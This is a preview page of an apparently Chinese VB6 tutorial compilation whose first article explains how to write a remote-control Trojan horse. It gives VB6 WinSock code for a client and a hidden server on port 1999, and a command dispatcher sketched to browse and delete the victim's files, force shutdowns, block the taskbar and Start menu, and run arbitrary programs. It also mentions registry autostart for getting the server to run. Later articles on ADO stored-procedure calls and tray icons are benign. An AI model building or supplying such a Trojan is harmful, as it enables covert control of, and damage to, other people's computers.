vb60实例教程.docx

上传人:b****2 文档编号:16947090 上传时间:2023-07-20 格式:DOCX 页数:134 大小:88.80KB
下载 相关 举报
vb60实例教程.docx_第1页
第1页 / 共134页
vb60实例教程.docx_第2页
第2页 / 共134页
vb60实例教程.docx_第3页
第3页 / 共134页
vb60实例教程.docx_第4页
第4页 / 共134页
vb60实例教程.docx_第5页
第5页 / 共134页
vb60实例教程.docx_第6页
第6页 / 共134页
vb60实例教程.docx_第7页
第7页 / 共134页
vb60实例教程.docx_第8页
第8页 / 共134页
vb60实例教程.docx_第9页
第9页 / 共134页
vb60实例教程.docx_第10页
第10页 / 共134页
vb60实例教程.docx_第11页
第11页 / 共134页
vb60实例教程.docx_第12页
第12页 / 共134页
vb60实例教程.docx_第13页
第13页 / 共134页
vb60实例教程.docx_第14页
第14页 / 共134页
vb60实例教程.docx_第15页
第15页 / 共134页
vb60实例教程.docx_第16页
第16页 / 共134页
vb60实例教程.docx_第17页
第17页 / 共134页
vb60实例教程.docx_第18页
第18页 / 共134页
vb60实例教程.docx_第19页
第19页 / 共134页
vb60实例教程.docx_第20页
第20页 / 共134页
亲,该文档总共134页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

vb60实例教程.docx

《vb60实例教程.docx》由会员分享,可在线阅读,更多相关《vb60实例教程.docx(134页珍藏版)》请在冰点文库上搜索。

vb60实例教程.docx

vb60实例教程

浅谈用VB6.0编写木马程序

现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,

在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权

限。

因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它

了。

下面来谈谈如何用VB来实现它。

首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服

务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

PrivateSubcmdConnect_Click()

IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then

MsgBox("请输入主机名或主机IP地址。

")

ExitSub

Else

IfLen(Text1.Text)>0Then

tcpClient.RemoteHost=Text1.Text

Else

tcpClient.RemoteHost=Text2.Text

EndIf

EndIf

tcpClient.Connect

Timer1.Enabled=True

EndSub

连接建立之后就可以使用DataArrival事件处理所收到的数据了。

在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加

入如下代码:

PrivateSubForm_Load()

tcpServer.LocalPort=1999

tcpServer.Listen

EndSub

准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

PrivateSubtcpServer_ConnectionRequest

(ByValrequestIDAsLong)

IftcpServer.State<>sckClosedThen

tcpServer.Close‘检查控件的State属性是否为关闭的。

EndIf'如果不是,在接受新的连接之前先关闭此连接。

tcpServer.AcceptrequestID

EndSub

这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。

如果不出

意外,连接就被建立起来了。

建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。

如:

把服务器端的驱

动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目

录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删

除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进

程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输

入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。

DataArrival事件程序如

下:

PrivateSubtcpServer_DataArrival

(ByValbytesTotalAsLong)

DimstrDataAsString

DimiAsLong

DimmKeyAsString

tcpServer.GetDatastrData

'接收数据并存入strData

Fori=1ToLen(strData)

'分离strData中的命令

IfMid(strData,i,1)="@"Then

mKey=Left(strData,i-1)

'把命令ID号存入mKey

'把命令参数存入strData

strData=Right(strData,Len(strData)-i)

ExitFor

EndIf

Nexti

SelectCaseVal(mKey)

Case1

‘驱动器名、目录名、文件名

Case2

强制关闭服务器端的计算机

Case3

强制重启服务器端的计算机

Case4

屏蔽任务栏窗口;

Case5

屏蔽开始菜单;

Case6

按照客户机端传过来的文件名或目录名,而删除它;

Case7

屏蔽热启动键;

Case8

运行服务器端的任何程序

EndSelect

EndSub

客户机端用tcpClient.SendData发命令。

命令包括命令ID和命令参数,它们用符号“@”隔开。

另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,

其代码如下:

PrivateSubtcpServer_Close()

tcpServer.Close

tcpServer.Listen

EndSub

这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。

至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

源代码

下载

成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。

警告:

千万不要用来破

坏别人的系统。

__________________________________________________________________________________________________________

__________________________________________________________________________________________________________

VB实现SQLServer2000存储过程调用

存储过程

存储过程是存储在服务器上的一组预编译的Transact-SQL语句,是一种封装重复任务操作的方法,支持用户提供的变

量,具有强大的编程功能。

它类似于DOS系统中的BAT文件。

在BAT文件中,可以包含一组经常执行的命令,这组命令

通过BAT文件的执行而被执行。

同样的道理,可以把要完成某项任务的许多Transact-SQL语句写在一起,组织成存储过程

的形式,通过执行该存储过程就可以完成这项任务。

存储过程与BAT文件又有差别,即存储过程已经进行了预编译。

1、创建存储过程的方法

在Transact-SQL语言中,创建存储过程可以使用CREATEPROCEDURE语句,其语法形式如下:

CREATEPROC[EDURE]procedure_name[;number]

[{@parameterdata_type}[VARYING][=default][OUTPUT]

]],…n]

[WITH{RECOMPILE|ENCRYPTION|RECOMPILE,ENCRYPTION}]

[FORREPLICATION]

ASsql_statement[…n]

在上面的CREATEPROCEDURE语句中,方括号"[]"中的内容是可选的,花括号"{}"中的内容是必须出现的,不能省

略,[,…n]表示前面的参数样式,可以重复出现。

竖线"|"表示两边的选项可以任选一个。

下面分析该语句中各种选项的含义。

CREATEPROCEDURE是关键字,也可以写成CREATEPROC。

procedure_name是该存储过程的名称,名称可以是任何符合命名规则的标示符。

名称后的[;number]参数表示可以定义

一系列的存储过程名称,这些存储过程的数量由number指定。

参数名称可以使用@parameterdata_type来指定。

在Transact-SQL语言中,用户定义的参数名称前面加"@"符号,这些

数据类型是Transact-SQL语言允许的各种数据类型,包括系统提供的数据类型和用户定义的数据类型。

当参数类型为cursor时,必须使用关键字VARYING和OUTPUT。

VARYING表示结果集可以是一个输出参数,其内

容是动态的。

该关键字只能在使用游标作为数据类型时使用。

关键字OUTPUT表示这是一个输出参数,可以把存储过程执

行的结果信息返回应用程序。

default用于指定参数的默认值。

RECOMPILE选项表示重新编译该存储过程。

该选项只是在需要的时候才使用,例如经常需要改变数据库模式时。

ENCRYPTION选项用来加密创建存储过程的文本,防止他人查看。

选项FORREPLICATION主要用于复制过程中。

注意,该选项不能和选项RECOMPILE同时使用。

AS是一个关键字,表示其后的内容是存储过程的语句。

参数sql-statement[…n]表示在一个存储过程中可以包含多个

Transact-SQL语句。

2、存储过程的优点

在频繁访问数据库的系统中,开发者都乐于使用存储过程,这与存储过程的下列优点是分不开的。

⑴存储过程可以与其他应用程序共享应用程序的逻辑,从而确保一致的数据访问和操纵。

⑵存储过程提供了一种安全机制。

如果用户被授予执行存储过程权限,那么即使该用户没有访问在执行该存储过程中

所参考的表或视图的权限,该用户也可以完全执行该存储过程而不受到影响。

因此,可以创建存储过程来完成所有的增加、

删除等操作,并且可以通过编程控制上述操作中对信息的访问权限。

⑶存储过程执行速度快,便于提高系统的性能。

由于存储过程在第一次执行之后,其执行规划就驻存在过程高速缓冲

存储区中,在以后的操作中,只需从过程高速缓冲存储区中调用编译好的二进制形式存储过程来执行。

⑷使用存储过程可以减少网络传输时间。

如果有一千条Transact-SQL语句的命令,一条一条地通过网络在客户机和服

务器之间传送,那么这种传输所耗费的时间将很长。

但是,如果把这一千条Transact-SQL语句的命令写成一条较为复杂的

存储过程命令,这时在客户机和服务器之间网络传输所需的时间就会大大减少。

SQLServer2000数据库存储过程的调用

VB作为当今应用极为普遍的数据库客户端开发工具之一,对客户端应用程序调用服务器端存储过程提供了强大的支

持。

特别是随着VB6.0的推出,VB客户端应用程序可以方便地利用ADO的对象和集合来实现对数据库存储过程的调用。

在笔者编写的科技档案管理系统中,就是采用VB作为开发平台,采用SQLServer2000数据库管理数据,在这个科技

档案管理系统中有海量的数据,并且对数据库有频繁的访问,利用存储过程访问数据库节省了执行时间,大大提高了系统

的性能。

1、ADO简介

ADO控件(也称为ADOData控件)与VB固有的Data控件相似。

使用ADOData控件,可以利用MicrosoftActiveXData

Objects(ADO)快速建立数据库绑定控件和数据提供者之间的连接。

ADOData控件可以实现以下功能:

·连接一个本地数据库或远程数据库。

·打开一个指定的数据库表,或定义一个基于结构化查询语言(SQL)的查询、存储过程或该数据库中的表的视图的记

录集合。

·将数据字段的数值传递给数据绑定控件,可以在这些控件中显示或更改这些数值。

·添加新的记录,或根据更改显示在绑定的控件中的数据来更新一个数据库。

2、数据库的连接

数据库的连接可通过ADO控件实现,为此,必须在工程部件中选择MicrosoftADODataControl6.0(OLEDB),然后在

窗体中添加ADO控件。

利用ADO连接数据库有两种方法,具体如下。

1)通过ADODC属性页实现连接

在ADODC属性页中选择生成按钮,进入数据链接属性对话框;然后选择该对话框中的连接属性页,选择或输入服务

器名称和数据库等重要信息;最后测试连接,连接成功后,按确定按钮,返回到属性页对话框,可获得连接字符串,如下

例:

Provider=SQLOLEDB.1;PersistSecurityInfo=False;UserID=sa;InitialCatalog=Science_File;DataSource=Data_Server

其中sa是用户名;Science_File是数据库名;Data_Server是数据库名。

通过下列语句,即可连接到指定的数据库:

dimodbcstrasString,adoconAsNewADODB.Connection

odbcstr="Provider=SQLOLEDB.1;PersistSecurityInfo=False;UserID=sa;InitialCatalog=Science_File;Data

Source=Data_Server"

adocon.Openodbcstr'连接到数据库

2)直接使用连接语句实现

连接数据库的语句如下:

DimadoasADODC

ado.ConnectionString="Provider=SQLOLEDB.1;Password="&User_Pwd&";PersistSecurityInfo=True;UserID="&

User_Name&";InitialCatalog="&Data_Name&";DataSource="&server_name

其中User-Pwd是用户密码;User_Name是用户名;Data_Name是数据库名;server_name是服务器名。

连接数据库成功后就可以调用存储过程执行操作。

3、存储过程的调用

假设有一个名为doc_ProcName存储过程,该存储过程有一个输入参数,一个输出参数。

1)直接传递参数调用存储过程

直接传递参数方法主要通过以下几个步骤来实现:

(1)通过ADODB的Connection对象打开与数据源的连接;

(2)通过ActiveConnection指定Command对象当前所属的Connection对象;

(3)通过CommandText属性设置Command对象的源,即要调用的存储过程;

(4)通过CommandType属性确定Command对象的源类型,如果源类型为存储过程CommandType即为

adCmdStoredProc;

(5)通过Command对象的Parameters集合向所调用的存储过程传递参数,其中对象Parameters(0)为执行存储过

程的返回值,返回值为0则执行存储过程成功;

(6)通过Eexecute方法执行在CommandText属性中指定的存储过程。

以存储过程doc_ProcName为例,关键代码如下:

DimstrSAsString'定义一变量

DimadoconnAsNewADODB.Connection'Connection对象代表了打开与数据源的连接。

DimadocommAsNewADODB.Command'Command对象定义了将对数据源执行的指定命令。

DimReturnValueAsInteger'调用存储过程的返回值

adoconn.ConnectionString=Adodc1.ConnectionString'Adodc1为窗体中的ADO控件,并已成功连接数据库

adoconn.Open

Setadocomm.ActiveConnection=adoconn'指示指定的Command对象当前所属的Connection对象。

adocomm.CommandText="doc_ProcName"'设置Command对象源。

adocomm.CommandType=adCmdStoredProc'通知提供者CommandText属性有什么,它可能包括Command对象的源类

型。

设置这个属性优化了该命令的执行。

adocomm.Parameters

(1)="1"

adocomm.Parameters

(2)="OutputParameters"'OutputParameters可以为任意的字符串或数字

adocomm.Execute

ReturnValue=adocomm.Parameters(0)'存储过程的返回值,返回0则成功执行。

strS=adocomm.Parameters

(2)'把存储过程的输出参数的值赋给变量strS

2)追加参数法调用存储过程

追加参数通过CreateParameter方法,用来指定属性创建新的Parameter对象。

具体语法如下:

Setparameter=command.CreateParameter(Name,Type,Direction,Size,Value)

·Name可选,字符串,代表Parameter对象名称。

·Type可选,长整

__________________________________________________________________________________________________________

__________________________________________________________________________________________________________

VB6如何在拖托盘中写入应用程序图标

1、新建立一个VB6工程,将Form1的ShowInTaskBar属性设置为False

2、菜单:

工程--添加模块按“打开”这样就添加了一个新模块,名为Module1,保存为Module1.bas

3、在Module1中写下如下代码:

OptionExplicit

PublicConstMAX_TOOLTIPAsInteger=64

PublicConstNIF_ICON=&H2

PublicConstNIF_MESSAGE=&H1

PublicConstNIF_TIP=&H4

PublicConstNIM_ADD=&H0

PublicConstNIM_DELETE=&H2

PublicConstWM_MOUSEMOVE=&H200

PublicConstWM_LBUTTONDOWN=&H201

PublicConstWM_LBUTTONUP=&H202

PublicConstWM_LBUTTONDBLCLK=&H203

PublicConstWM_RBUTTONDOWN=&H204

PublicConstWM_RBUTTONUP=&H205

PublicConstWM_RBUTTONDBLCLK=&H206

PublicConstSW_RESTORE=9

PublicConstSW_HIDE=0

PublicnfIconDataAsNOTIFYICONDATA

PublicTypeNOTIFYICONDATA

cbSizeAsLong

hWndAsLong

uIDAsLong

uFlagsAsLong

uCallbackMessageAsLong

hIconAsLong

szTipAsString*MAX_TOOLTIP

EndType

PublicDeclareFunctionShowWindowLib"user32"(ByValhWndAsLong,ByValnCmdShowAsLong)AsLong

PublicDeclareFunctionShell_NotifyIconLib"shell32.dll"Alias"Shell_NotifyIconA"(ByValdwMessageAsLong,lpDataAs

NOTIFYICONDATA)AsLong

4、在Form1的Load事件中写下如下代码:

PrivateSubForm_Load()

'以下把程序放入SystemTray====================================SystemTrayBegin

WithnfIconData

.hWnd=Me.hWnd

.uID=Me.Icon

.uFlags=NIF_ICONOrNIF_MESSAGEOrNIF_TIP

.uCallbackMessage=WM_MOUSEMOVE

.hIcon=Me.Icon.Handle

'定义鼠标移动到托盘上时显示的Tip

.szTip=App.Title+"(版本"&App.Major&"."&App.Minor&"."&App.Revision&")"&vbNullChar

.cbSize=Len(nfIconData)

EndWith

CallShell_NotifyIcon(NIM_ADD,nfIconData)

'=============================================================SystemTrayEnd

Me.Hide

EndSub

5、在Form1的QueryUnload事件中写入如下代码:

PrivateSubForm_QueryUnload(CancelAsInteger,UnloadModeAsInteger)

CallShell_NotifyIcon(NIM_DELETE,nfIconData)

EndSub

6、在Form1的MouseMove事件中写下如下代码:

PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)

DimlMsgAsSingle

lMsg=X/Screen.TwipsPerPixelX

SelectCaselMsg

CaseWM_LBUTTONUP

'MsgBox"请用鼠标右键点击图标!

",vbInformation,"实时播音专家"

'单击左键,显示窗体

ShowWindowMe.hWnd,SW_RESTORE

'下面两句的目的是把窗口显示在窗口最顶层

'Me.Show

'Me.Se

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 求职职场 > 简历

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2